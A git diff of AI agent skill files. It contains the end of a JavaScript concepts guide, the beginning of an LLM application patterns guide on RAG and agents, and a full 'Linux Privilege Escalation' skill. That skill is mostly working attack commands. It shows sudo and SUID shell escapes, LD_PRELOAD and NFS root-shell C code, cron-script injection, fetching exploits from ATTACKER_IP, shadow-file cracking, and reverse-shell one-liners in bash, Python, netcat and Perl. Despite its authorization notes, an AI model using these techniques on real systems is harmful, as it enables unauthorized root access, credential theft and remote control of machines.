||||
// userName = "Bob"
|
||||
|
||||
// Nested
|
||||
const {
|
||||
address: { street },
|
||||
} = { address: { street: "123 Main" } };
|
||||
```
|
||||
|
||||
### 7.2 Spread & Rest
|
||||
|
||||
```javascript
|
||||
// Spread: expand iterable
|
||||
const arr1 = [1, 2, 3];
|
||||
const arr2 = [...arr1, 4, 5]; // [1, 2, 3, 4, 5]
|
||||
|
||||
const obj1 = { a: 1 };
|
||||
const obj2 = { ...obj1, b: 2 }; // { a: 1, b: 2 }
|
||||
|
||||
// Rest: collect remaining
|
||||
function sum(...numbers) {
|
||||
return numbers.reduce((a, b) => a + b, 0);
|
||||
}
|
||||
sum(1, 2, 3, 4); // 10
|
||||
```
|
||||
|
||||
### 7.3 Modules
|
||||
|
||||
```javascript
|
||||
// Named exports
|
||||
export const PI = 3.14159;
|
||||
export function square(x) {
|
||||
return x * x;
|
||||
}
|
||||
|
||||
// Default export
|
||||
export default class Calculator {}
|
||||
|
||||
// Importing
|
||||
import Calculator, { PI, square } from "./math.js";
|
||||
import * as math from "./math.js";
|
||||
|
||||
// Dynamic import
|
||||
const module = await import("./dynamic.js");
|
||||
```
|
||||
|
||||
### 7.4 Optional Chaining & Nullish Coalescing
|
||||
|
||||
```javascript
|
||||
// Optional chaining (?.)
|
||||
const user = { address: { city: "NYC" } };
|
||||
const city = user?.address?.city; // "NYC"
|
||||
const zip = user?.address?.zip; // undefined (no error)
|
||||
const fn = user?.getName?.(); // undefined if no method
|
||||
|
||||
// Nullish coalescing (??)
|
||||
const value = null ?? "default"; // "default"
|
||||
const zero = 0 ?? "default"; // 0 (not nullish!)
|
||||
const empty = "" ?? "default"; // "" (not nullish!)
|
||||
|
||||
// Compare with ||
|
||||
const value2 = 0 || "default"; // "default" (0 is falsy)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick Reference Card
|
||||
|
||||
| Concept | Key Point |
|
||||
| :------------- | :-------------------------------- |
|
||||
| `==` vs `===` | Always use `===` |
|
||||
| `var` vs `let` | Prefer `let`/`const` |
|
||||
| Closures | Function + lexical scope |
|
||||
| `this` | Depends on how function is called |
|
||||
| Event loop | Microtasks before macrotasks |
|
||||
| Pure functions | Same input → same output |
|
||||
| Prototypes | `__proto__` → prototype chain |
|
||||
| `??` vs `\|\|` | `??` only checks null/undefined |
|
||||
|
||||
---
|
||||
|
||||
## Resources
|
||||
|
||||
- [33 JS Concepts](https://github.com/leonardomso/33-js-concepts)
|
||||
- [JavaScript.info](https://javascript.info/)
|
||||
- [MDN JavaScript Guide](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide)
|
||||
- [You Don't Know JS](https://github.com/getify/You-Dont-Know-JS)
|
||||
501
skills/linux-privilege-escalation/SKILL.md
Normal file
501
skills/linux-privilege-escalation/SKILL.md
Normal file
@@ -0,0 +1,501 @@
|
||||
---
|
||||
name: Linux Privilege Escalation
|
||||
description: This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.
|
||||
---
|
||||
|
||||
# Linux Privilege Escalation
|
||||
|
||||
## Purpose
|
||||
|
||||
Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.
|
||||
|
||||
## Inputs / Prerequisites
|
||||
|
||||
### Required Access
|
||||
- Low-privilege shell access to target Linux system
|
||||
- Ability to execute commands (interactive or semi-interactive shell)
|
||||
- Network access for reverse shell connections (if needed)
|
||||
- Attacker machine for payload hosting and receiving shells
|
||||
|
||||
### Technical Requirements
|
||||
- Understanding of Linux filesystem permissions and ownership
|
||||
- Familiarity with common Linux utilities and scripting
|
||||
- Knowledge of kernel versions and associated vulnerabilities
|
||||
- Basic understanding of compilation (gcc) for custom exploits
|
||||
|
||||
### Recommended Tools
|
||||
- LinPEAS, LinEnum, or Linux Smart Enumeration scripts
|
||||
- Linux Exploit Suggester (LES)
|
||||
- GTFOBins reference for binary exploitation
|
||||
- John the Ripper or Hashcat for password cracking
|
||||
- Netcat or similar for reverse shells
|
||||
|
||||
## Outputs / Deliverables
|
||||
|
||||
### Primary Outputs
|
||||
- Root shell access on target system
|
||||
- Privilege escalation path documentation
|
||||
- System enumeration findings report
|
||||
- Recommendations for remediation
|
||||
|
||||
### Evidence Artifacts
|
||||
- Screenshots of successful privilege escalation
|
||||
- Command output logs demonstrating root access
|
||||
- Identified vulnerability details
|
||||
- Exploited configuration files
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: System Enumeration
|
||||
|
||||
#### Basic System Information
|
||||
Gather fundamental system details for vulnerability research:
|
||||
|
||||
```bash
|
||||
# Hostname and system role
|
||||
hostname
|
||||
|
||||
# Kernel version and architecture
|
||||
uname -a
|
||||
|
||||
# Detailed kernel information
|
||||
cat /proc/version
|
||||
|
||||
# Operating system details
|
||||
cat /etc/issue
|
||||
cat /etc/*-release
|
||||
|
||||
# Architecture
|
||||
arch
|
||||
```
|
||||
|
||||
#### User and Permission Enumeration
|
||||
|
||||
```bash
|
||||
# Current user context
|
||||
whoami
|
||||
id
|
||||
|
||||
# Users with login shells
|
||||
cat /etc/passwd | grep -v nologin | grep -v false
|
||||
|
||||
# Users with home directories
|
||||
cat /etc/passwd | grep home
|
||||
|
||||
# Group memberships
|
||||
groups
|
||||
|
||||
# Other logged-in users
|
||||
w
|
||||
who
|
||||
```
|
||||
|
||||
#### Network Information
|
||||
|
||||
```bash
|
||||
# Network interfaces
|
||||
ifconfig
|
||||
ip addr
|
||||
|
||||
# Routing table
|
||||
ip route
|
||||
|
||||
# Active connections
|
||||
netstat -antup
|
||||
ss -tulpn
|
||||
|
||||
# Listening services
|
||||
netstat -l
|
||||
```
|
||||
|
||||
#### Process and Service Enumeration
|
||||
|
||||
```bash
|
||||
# All running processes
|
||||
ps aux
|
||||
ps -ef
|
||||
|
||||
# Process tree view
|
||||
ps axjf
|
||||
|
||||
# Services running as root
|
||||
ps aux | grep root
|
||||
```
|
||||
|
||||
#### Environment Variables
|
||||
|
||||
```bash
|
||||
# Full environment
|
||||
env
|
||||
|
||||
# PATH variable (for hijacking)
|
||||
echo $PATH
|
||||
```
|
||||
|
||||
### Phase 2: Automated Enumeration
|
||||
|
||||
Deploy automated scripts for comprehensive enumeration:
|
||||
|
||||
```bash
|
||||
# LinPEAS
|
||||
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
|
||||
|
||||
# LinEnum
|
||||
./LinEnum.sh -t
|
||||
|
||||
# Linux Smart Enumeration
|
||||
./lse.sh -l 1
|
||||
|
||||
# Linux Exploit Suggester
|
||||
./les.sh
|
||||
```
|
||||
|
||||
Transfer scripts to target system:
|
||||
|
||||
```bash
|
||||
# On attacker machine
|
||||
python3 -m http.server 8000
|
||||
|
||||
# On target machine
|
||||
wget http://ATTACKER_IP:8000/linpeas.sh
|
||||
chmod +x linpeas.sh
|
||||
./linpeas.sh
|
||||
```
|
||||
|
||||
### Phase 3: Kernel Exploits
|
||||
|
||||
#### Identify Kernel Version
|
||||
|
||||
```bash
|
||||
uname -r
|
||||
cat /proc/version
|
||||
```
|
||||
|
||||
#### Search for Exploits
|
||||
|
||||
```bash
|
||||
# Use Linux Exploit Suggester
|
||||
./linux-exploit-suggester.sh
|
||||
|
||||
# Manual search on exploit-db
|
||||
searchsploit linux kernel [version]
|
||||
```
|
||||
|
||||
#### Common Kernel Exploits
|
||||
|
||||
| Kernel Version | Exploit | CVE |
|
||||
|---------------|---------|-----|
|
||||
| 2.6.x - 3.x | Dirty COW | CVE-2016-5195 |
|
||||
| 4.4.x - 4.13.x | Double Fetch | CVE-2017-16995 |
|
||||
| 5.8+ | Dirty Pipe | CVE-2022-0847 |
|
||||
|
||||
#### Compile and Execute
|
||||
|
||||
```bash
|
||||
# Transfer exploit source
|
||||
wget http://ATTACKER_IP/exploit.c
|
||||
|
||||
# Compile on target
|
||||
gcc exploit.c -o exploit
|
||||
|
||||
# Execute
|
||||
./exploit
|
||||
```
|
||||
|
||||
### Phase 4: Sudo Exploitation
|
||||
|
||||
#### Enumerate Sudo Privileges
|
||||
|
||||
```bash
|
||||
sudo -l
|
||||
```
|
||||
|
||||
#### GTFOBins Sudo Exploitation
|
||||
Reference https://gtfobins.github.io for exploitation commands:
|
||||
|
||||
```bash
|
||||
# Example: vim with sudo
|
||||
sudo vim -c ':!/bin/bash'
|
||||
|
||||
# Example: find with sudo
|
||||
sudo find . -exec /bin/sh \; -quit
|
||||
|
||||
# Example: awk with sudo
|
||||
sudo awk 'BEGIN {system("/bin/bash")}'
|
||||
|
||||
# Example: python with sudo
|
||||
sudo python -c 'import os; os.system("/bin/bash")'
|
||||
|
||||
# Example: less with sudo
|
||||
sudo less /etc/passwd
|
||||
!/bin/bash
|
||||
```
|
||||
|
||||
#### LD_PRELOAD Exploitation
|
||||
When env_keep includes LD_PRELOAD:
|
||||
|
||||
```c
|
||||
// shell.c
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
void _init() {
|
||||
unsetenv("LD_PRELOAD");
|
||||
setgid(0);
|
||||
setuid(0);
|
||||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# Compile shared library
|
||||
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
|
||||
|
||||
# Execute with sudo
|
||||
sudo LD_PRELOAD=/tmp/shell.so find
|
||||
```
|
||||
|
||||
### Phase 5: SUID Binary Exploitation
|
||||
|
||||
#### Find SUID Binaries
|
||||
|
||||
```bash
|
||||
find / -type f -perm -04000 -ls 2>/dev/null
|
||||
find / -perm -u=s -type f 2>/dev/null
|
||||
```
|
||||
|
||||
#### Exploit SUID Binaries
|
||||
Reference GTFOBins for SUID exploitation:
|
||||
|
||||
```bash
|
||||
# Example: base64 for file reading
|
||||
LFILE=/etc/shadow
|
||||
base64 "$LFILE" | base64 -d
|
||||
|
||||
# Example: cp for file writing
|
||||
cp /bin/bash /tmp/bash
|
||||
chmod +s /tmp/bash
|
||||
/tmp/bash -p
|
||||
|
||||
# Example: find with SUID
|
||||
find . -exec /bin/sh -p \; -quit
|
||||
```
|
||||
|
||||
#### Password Cracking via SUID
|
||||
|
||||
```bash
|
||||
# Read shadow file (if base64 has SUID)
|
||||
base64 /etc/shadow | base64 -d > shadow.txt
|
||||
base64 /etc/passwd | base64 -d > passwd.txt
|
||||
|
||||
# On attacker machine
|
||||
unshadow passwd.txt shadow.txt > hashes.txt
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
|
||||
```
|
||||
|
||||
#### Add User to passwd (if nano/vim has SUID)
|
||||
|
||||
```bash
|
||||
# Generate password hash
|
||||
openssl passwd -1 -salt new newpassword
|
||||
|
||||
# Add to /etc/passwd (using SUID editor)
|
||||
newuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
|
||||
```
|
||||
|
||||
### Phase 6: Capabilities Exploitation
|
||||
|
||||
#### Enumerate Capabilities
|
||||
|
||||
```bash
|
||||
getcap -r / 2>/dev/null
|
||||
```
|
||||
|
||||
#### Exploit Capabilities
|
||||
|
||||
```bash
|
||||
# Example: python with cap_setuid
|
||||
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
|
||||
|
||||
# Example: vim with cap_setuid
|
||||
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
|
||||
|
||||
# Example: perl with cap_setuid
|
||||
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
|
||||
```
|
||||
|
||||
### Phase 7: Cron Job Exploitation
|
||||
|
||||
#### Enumerate Cron Jobs
|
||||
|
||||
```bash
|
||||
# System crontab
|
||||
cat /etc/crontab
|
||||
|
||||
# User crontabs
|
||||
ls -la /var/spool/cron/crontabs/
|
||||
|
||||
# Cron directories
|
||||
ls -la /etc/cron.*
|
||||
|
||||
# Systemd timers
|
||||
systemctl list-timers
|
||||
```
|
||||
|
||||
#### Exploit Writable Cron Scripts
|
||||
|
||||
```bash
|
||||
# Identify writable cron script from /etc/crontab
|
||||
ls -la /opt/backup.sh # Check permissions
|
||||
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh
|
||||
|
||||
# If cron references non-existent script in writable PATH
|
||||
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
|
||||
chmod +x /home/user/antivirus.sh
|
||||
```
|
||||
|
||||
### Phase 8: PATH Hijacking
|
||||
|
||||
```bash
|
||||
# Find SUID binary calling external command
|
||||
strings /usr/local/bin/suid-binary
|
||||
# Shows: system("service apache2 start")
|
||||
|
||||
# Hijack by creating malicious binary in writable PATH
|
||||
export PATH=/tmp:$PATH
|
||||
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service
|
||||
chmod +x /tmp/service
|
||||
/usr/local/bin/suid-binary # Execute SUID binary
|
||||
```
|
||||
|
||||
### Phase 9: NFS Exploitation
|
||||
|
||||
```bash
|
||||
# On target - look for no_root_squash option
|
||||
cat /etc/exports
|
||||
|
||||
# On attacker - mount share and create SUID binary
|
||||
showmount -e TARGET_IP
|
||||
mount -o rw TARGET_IP:/share /tmp/nfs
|
||||
|
||||
# Create and compile SUID shell
|
||||
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
|
||||
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell
|
||||
|
||||
# On target - execute
|
||||
/share/shell
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Enumeration Commands Summary
|
||||
| Purpose | Command |
|
||||
|---------|---------|
|
||||
| Kernel version | `uname -a` |
|
||||
| Current user | `id` |
|
||||
| Sudo rights | `sudo -l` |
|
||||
| SUID files | `find / -perm -u=s -type f 2>/dev/null` |
|
||||
| Capabilities | `getcap -r / 2>/dev/null` |
|
||||
| Cron jobs | `cat /etc/crontab` |
|
||||
| Writable dirs | `find / -writable -type d 2>/dev/null` |
|
||||
| NFS exports | `cat /etc/exports` |
|
||||
|
||||
### Reverse Shell One-Liners
|
||||
```bash
|
||||
# Bash
|
||||
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
|
||||
|
||||
# Python
|
||||
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
|
||||
|
||||
# Netcat
|
||||
nc -e /bin/bash ATTACKER_IP 4444
|
||||
|
||||
# Perl
|
||||
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'
|
||||
```
|
||||
|
||||
### Key Resources
|
||||
- GTFOBins: https://gtfobins.github.io
|
||||
- LinPEAS: https://github.com/carlospolop/PEASS-ng
|
||||
- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
|
||||
|
||||
## Constraints and Guardrails
|
||||
|
||||
### Operational Boundaries
|
||||
- Verify kernel exploits in test environment before production use
|
||||
- Failed kernel exploits may crash the system
|
||||
- Document all changes made during privilege escalation
|
||||
- Maintain access persistence only as authorized
|
||||
|
||||
### Technical Limitations
|
||||
- Modern kernels may have exploit mitigations (ASLR, SMEP, SMAP)
|
||||
- AppArmor/SELinux may restrict exploitation techniques
|
||||
- Container environments limit kernel-level exploits
|
||||
- Hardened systems may have restricted sudo configurations
|
||||
|
||||
### Legal and Ethical Requirements
|
||||
- Written authorization required before testing
|
||||
- Stay within defined scope boundaries
|
||||
- Report critical findings immediately
|
||||
- Do not access data beyond scope requirements
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Sudo to Root via find
|
||||
|
||||
**Scenario**: User has sudo rights for find command
|
||||
|
||||
```bash
|
||||
$ sudo -l
|
||||
User user may run the following commands:
|
||||
(root) NOPASSWD: /usr/bin/find
|
||||
|
||||
$ sudo find . -exec /bin/bash \; -quit
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
### Example 2: SUID base64 for Shadow Access
|
||||
|
||||
**Scenario**: base64 binary has SUID bit set
|
||||
|
||||
```bash
|
||||
$ find / -perm -u=s -type f 2>/dev/null | grep base64
|
||||
/usr/bin/base64
|
||||
|
||||
$ base64 /etc/shadow | base64 -d
|
||||
root:$6$xyz...:18000:0:99999:7:::
|
||||
|
||||
# Crack offline with john
|
||||
$ john --wordlist=rockyou.txt shadow.txt
|
||||
```
|
||||
|
||||
### Example 3: Cron Job Script Hijacking
|
||||
|
||||
**Scenario**: Root cron job executes writable script
|
||||
|
||||
```bash
|
||||
$ cat /etc/crontab
|
||||
* * * * * root /opt/scripts/backup.sh
|
||||
|
||||
$ ls -la /opt/scripts/backup.sh
|
||||
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh
|
||||
|
||||
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
|
||||
|
||||
# Wait 1 minute
|
||||
$ /tmp/bash -p
|
||||
# id
|
||||
uid=1000(user) gid=1000(user) euid=0(root)
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solutions |
|
||||
|-------|-----------|
|
||||
| Exploit compilation fails | Check for gcc: `which gcc`; compile on attacker for same arch; use `gcc -static` |
|
||||
| Reverse shell not connecting | Check firewall; try ports 443/80; use staged payloads; check egress filtering |
|
||||
| SUID binary not exploitable | Verify version matches GTFOBins; check AppArmor/SELinux; some binaries drop privileges |
|
||||
| Cron job not executing | Verify cron running: `service cron status`; check +x permissions; verify PATH in crontab |
|
||||
760
skills/llm-app-patterns/SKILL.md
Normal file
760
skills/llm-app-patterns/SKILL.md
Normal file
@@ -0,0 +1,760 @@
|
||||
---
|
||||
name: llm-app-patterns
|
||||
description: "Production-ready patterns for building LLM applications. Covers RAG pipelines, agent architectures, prompt IDEs, and LLMOps monitoring. Use when designing AI applications, implementing RAG, building agents, or setting up LLM observability."
|
||||
---
|
||||
|
||||
# 🤖 LLM Application Patterns
|
||||
|
||||
> Production-ready patterns for building LLM applications, inspired by [Dify](https://github.com/langgenius/dify) and industry best practices.
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
Use this skill when:
|
||||
|
||||
- Designing LLM-powered applications
|
||||
- Implementing RAG (Retrieval-Augmented Generation)
|
||||
- Building AI agents with tools
|
||||
- Setting up LLMOps monitoring
|
||||
- Choosing between agent architectures
|
||||
|
||||
---
|
||||
|
||||
## 1. RAG Pipeline Architecture
|
||||
|
||||
### Overview
|
||||
|
||||
RAG (Retrieval-Augmented Generation) grounds LLM responses in your data.
|
||||
|
||||
```
|
||||
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
|
||||
│ Ingest │────▶│ Retrieve │────▶│ Generate │
|
||||
│ Documents │ │ Context │ │ Response │
|
||||
└─────────────┘ └─────────────┘ └─────────────┘
|
||||
│ │ │
|
||||
▼ ▼ ▼
|
||||
┌─────────┐ ┌───────────┐ ┌───────────┐
|
||||
│ Chunking│ │ Vector │ │ LLM │
|
||||
│Embedding│ │ Search │ │ + Context│
|
||||
└─────────┘ └───────────┘ └───────────┘
|
||||
```
|
||||
|
||||
### 1.1 Document Ingestion
|
||||
|
||||
```python
|
||||
# Chunking strategies
|
||||
class ChunkingStrategy:
|
||||
# Fixed-size chunks (simple but may break context)
|
||||
FIXED_SIZE = "fixed_size" # e.g., 512 tokens
|
||||
|
||||
# Semantic chunking (preserves meaning)
|
||||
SEMANTIC = "semantic" # Split on paragraphs/sections
|
||||
|
||||
# Recursive splitting (tries multiple separators)
|
||||
RECURSIVE = "recursive" # ["\n\n", "\n", " ", ""]
|
||||
|
||||
# Document-aware (respects structure)
|
||||
DOCUMENT_AWARE = "document_aware" # Headers, lists, etc.
|
||||
|
||||
# Recommended settings
|
||||
CHUNK_CONFIG = {
|
||||
"chunk_size": 512, # tokens
|
||||
"chunk_overlap": 50, # token overlap between chunks
|
||||
"separators": ["\n\n", "\n", ". ", " "],
|
||||
}
|
||||
```
|
||||
|
||||
### 1.2 Embedding & Storage
|
||||
|
||||
```python
|
||||
# Vector database selection
|
||||
VECTOR_DB_OPTIONS = {
|
||||
"pinecone": {
|
||||
"use_case": "Production, managed service",
|
||||
"scale": "Billions of vectors",
|
||||
"features": ["Hybrid search", "Metadata filtering"]
|
||||
},
|
||||
"weaviate": {
|
||||
"use_case": "Self-hosted, multi-modal",
|
||||
"scale": "Millions of vectors",
|
||||
"features": ["GraphQL API", "Modules"]
|
||||
},
|
||||
"chromadb": {
|
||||
"use_case": "Development, prototyping",
|
||||
"scale": "Thousands of vectors",
|
||||
"features": ["Simple API", "In-memory option"]
|
||||
},
|
||||
"pgvector": {
|
||||
"use_case": "Existing Postgres infrastructure",
|
||||
"scale": "Millions of vectors",
|
||||
"features": ["SQL integration", "ACID compliance"]
|
||||
}
|
||||
}
|
||||
|
||||
# Embedding model selection
|
||||
EMBEDDING_MODELS = {
|
||||
"openai/text-embedding-3-small": {
|
||||
"dimensions": 1536,
|
||||
"cost": "$0.02/1M tokens",
|
||||
"quality": "Good for most use cases"
|
||||
},
|
||||
"openai/text-embedding-3-large": {
|
||||
"dimensions": 3072,
|
||||
"cost": "$0.13/1M tokens",
|
||||
"quality": "Best for complex queries"
|
||||
},
|
||||
"local/bge-large": {
|
||||
"dimensions": 1024,
|
||||
"cost": "Free (compute only)",
|
||||
"quality": "Comparable to OpenAI small"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 1.3 Retrieval Strategies
|
||||
|
||||
```python
|
||||
# Basic semantic search
|
||||
def semantic_search(query: str, top_k: int = 5):
|
||||
query_embedding = embed(query)
|
||||
results = vector_db.similarity_search(
|
||||
query_embedding,
|
||||
top_k=top_k
|
||||
)
|
||||
return results
|
||||
|
||||
# Hybrid search (semantic + keyword)
|
||||
def hybrid_search(query: str, top_k: int = 5, alpha: float = 0.5):
|
||||
"""
|
||||
alpha=1.0: Pure semantic
|
||||
alpha=0.0: Pure keyword (BM25)
|
||||
alpha=0.5: Balanced
|
||||
"""
|
||||
semantic_results = vector_db.similarity_search(query)
|
||||
keyword_results = bm25_search(query)
|
||||
|
||||
# Reciprocal Rank Fusion
|
||||
return rrf_merge(semantic_results, keyword_results, alpha)
|
||||
|
||||
# Multi-query retrieval
|
||||
def multi_query_retrieval(query: str):
|
||||
"""Generate multiple query variations for better recall"""
|
||||
queries = llm.generate_query_variations(query, n=3)
|
||||
all_results = []
|
||||
for q in queries:
|
||||
all_results.extend(semantic_search(q))
|
||||
return deduplicate(all_results)
|
||||
|
||||
# Contextual compression
|
||||
def compressed_retrieval(query: str):
|
||||
"""Retrieve then compress to relevant parts only"""
|
||||
docs = semantic_search(query, top_k=10)
|
||||
compressed = llm.extract_relevant_parts(docs, query)
|
||||
return compressed
|
||||
```
|
||||
|
||||
### 1.4 Generation with Context
|
||||
|
||||
```python
|
||||
RAG_PROMPT_TEMPLATE = """
|
||||
Answer the user's question based ONLY on the following context.
|
||||
If the context doesn't contain enough information, say "I don't have enough information to answer that."
|
||||
|
||||
Context:
|
||||
{context}
|
||||
|
||||
Question: {question}
|
||||
|
||||
Answer:"""
|
||||
|
||||
def generate_with_rag(question: str):
|
||||
# Retrieve
|
||||
context_docs = hybrid_search(question, top_k=5)
|
||||
context = "\n\n".join([doc.content for doc in context_docs])
|
||||
|
||||
# Generate
|
||||
prompt = RAG_PROMPT_TEMPLATE.format(
|
||||
context=context,
|
||||
question=question
|
||||
)
|
||||
|
||||
response = llm.generate(prompt)
|
||||
|
||||
# Return with citations
|
||||
return {
|
||||
"answer": response,
|
||||
"sources": [doc.metadata for doc in context_docs]
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2. Agent Architectures
|
||||
|
||||
### 2.1 ReAct Pattern (Reasoning + Acting)
|
||||
|
||||
```
|
||||
Thought: I need to search for information about X
|
||||
Action: search("X")
|
||||
Observation: [search results]
|
||||
Thought: Based on the results, I should...
|
||||
Action: calculate(...)
|
||||
Observation: [calculation result]
|
||||
Thought: I now have enough information
|
||||
Action: final_answer("The answer is...")
|
||||
```
|
||||
|
||||
```python
|
||||
REACT_PROMPT = """
|
||||
You are an AI assistant that can use tools to answer questions.
|
||||
|
||||
Available tools:
|
||||
{tools_description}
|
||||
|
||||
Use this format:
|
||||
Thought: [your reasoning about what to do next]
|
||||
Action: [tool_name(arguments)]
|
||||
Observation: [tool result - this will be filled in]
|
||||
... (repeat Thought/Action/Observation as needed)
|
||||
Thought: I have enough information to answer
|
||||
Final Answer: [your final response]
|
||||
|
||||
Question: {question}
|
||||
"""
|
||||
|
||||
class ReActAgent:
|
||||
def __init__(self, tools: list, llm):
|
||||
self.tools = {t.name: t for t in tools}
|
||||
self.llm = llm
|
||||
self.max_iterations = 10
|
||||
|
||||
def run(self, question: str) -> str:
|
||||
prompt = REACT_PROMPT.format(
|
||||
tools_description=self._format_tools(),
|
||||
question=question
|
||||
)
|
||||
|
||||
for _ in range(self.max_iterations):
|
||||
response = self.llm.generate(prompt)
|
||||
|
||||
if "Final Answer:" in response:
|
||||
return self._extract_final_answer(response)
|
||||
|
||||
action = self._parse_action(response)
|
||||
observation = self._execute_tool(action)
|
||||
prompt += f"\nObservation: {observation}\n"
|
||||
|
||||
return "Max iterations reached"
|
||||
```
|
||||
|
||||
### 2.2 Function Calling Pattern
|
||||
|
||||
```python
|
||||
# Define tools as functions with schemas
|
||||
TOOLS = [
|
||||
{
|
||||
"name": "search_web",
|
||||
"description": "Search the web for current information",
|
||||
"parameters": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"query": {
|
||||
"type": "string",
|
||||
"description": "Search query"
|
||||
}
|
||||
},
|
||||
"required": ["query"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "calculate",
|
||||
"description": "Perform mathematical calculations",
|
||||
"parameters": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"expression": {
|
||||
"type": "string",
|
||||
"description": "Math expression to evaluate"
|
||||
}
|
||||
},
|
||||
"required": ["expression"]
|
||||
}
|
||||
}
|
||||
]
|
||||
|
||||
class FunctionCallingAgent:
|
||||
def run(self, question: str) -> str:
|
||||
messages = [{"role": "user", "content": question}]
|
||||
|
||||
while True:
|
||||
response = self.llm.chat(
|
||||
messages=messages,
|
||||
tools=TOOLS,
|
||||
tool_choice="auto"
|
||||
)
|
||||
|
||||
if response.tool_calls:
|
||||
for tool_call in response.tool_calls:
|
||||
result = self._execute_tool(
|
||||
tool_call.name,
|
||||
tool_call.arguments
|
||||
)
|
||||
messages.append({
|
||||
"role": "tool",
|
||||
"tool_call_id": tool_call.id,
|
||||
"content": str(result)
|
||||
})
|
||||
else:
|
||||
return response.content
|
||||
```
|
||||
|
||||
### 2.3 Plan-and-Execute Pattern
|
||||
|
||||
```python
|
||||
class PlanAndExecuteAgent:
|
||||
"""
|
||||
1. Create a plan (list of steps)
|
||||
2. Execute each step
|
||||
3. Replan if needed
|
||||
"""
|
||||
|
||||
def run(self, task: str) -> str:
|
||||
# Planning phase
|
||||
plan = self.planner.create_plan(task)
|
||||
# Returns: ["Step 1: ...", "Step 2: ...", ...]
|
||||
|
||||
results = []
|
||||
for step in plan:
|
||||
# Execute each step
|
||||
result = self.executor.execute(step, context=results)
|
||||
results.append(result)
|
||||
|
||||
# Check if replan needed
|
||||
if self._needs_replan(task, results):
|
||||
new_plan = self.planner.replan(
|
||||
task,
|
||||
completed=results,
|
||||
remaining=plan[len(results):]
|
||||
)
|
||||
plan = new_plan
|
||||
|
||||
# Synthesize final answer
|
||||
return self.synthesizer.summarize(task, results)
|
||||
```
|
||||
|
||||
### 2.4 Multi-Agent Collaboration
|
||||
|
||||
```python
|
||||
class AgentTeam:
|
||||
"""
|
||||
Specialized agents collaborating on complex tasks
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.agents = {
|
||||
"researcher": ResearchAgent(),
|
||||
"analyst": AnalystAgent(),
|
||||
"writer": WriterAgent(),
|
||||
"critic": CriticAgent()
|
||||
}
|
||||
self.coordinator = CoordinatorAgent()
|
||||
|
||||
def solve(self, task: str) -> str:
|
||||
# Coordinator assigns subtasks
|
||||
assignments = self.coordinator.decompose(task)
|
||||
|
||||
results = {}
|
||||
for assignment in assignments:
|
||||
agent = self.agents[assignment.agent]
|
||||
result = agent.execute(
|
||||
assignment.subtask,
|
||||
context=results
|
||||
)
|
||||
results[assignment.id] = result
|
||||
|
||||
# Critic reviews
|
||||
critique = self.agents["critic"].review(results)
|
||||
|
||||
if critique.needs_revision:
|
||||
# Iterate with feedback
|
||||
return self.solve_with_feedback(task, results, critique)
|
||||
|
||||
return self.coordinator.synthesize(results)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Prompt IDE Patterns
|
||||
|
||||
### 3.1 Prompt Templates with Variables
|
||||
|
||||
```python
|
||||
class PromptTemplate:
|
||||
def __init__(self, template: str, variables: list[str]):
|
||||
self.template = template
|
||||
self.variables = variables
|
||||
|
||||
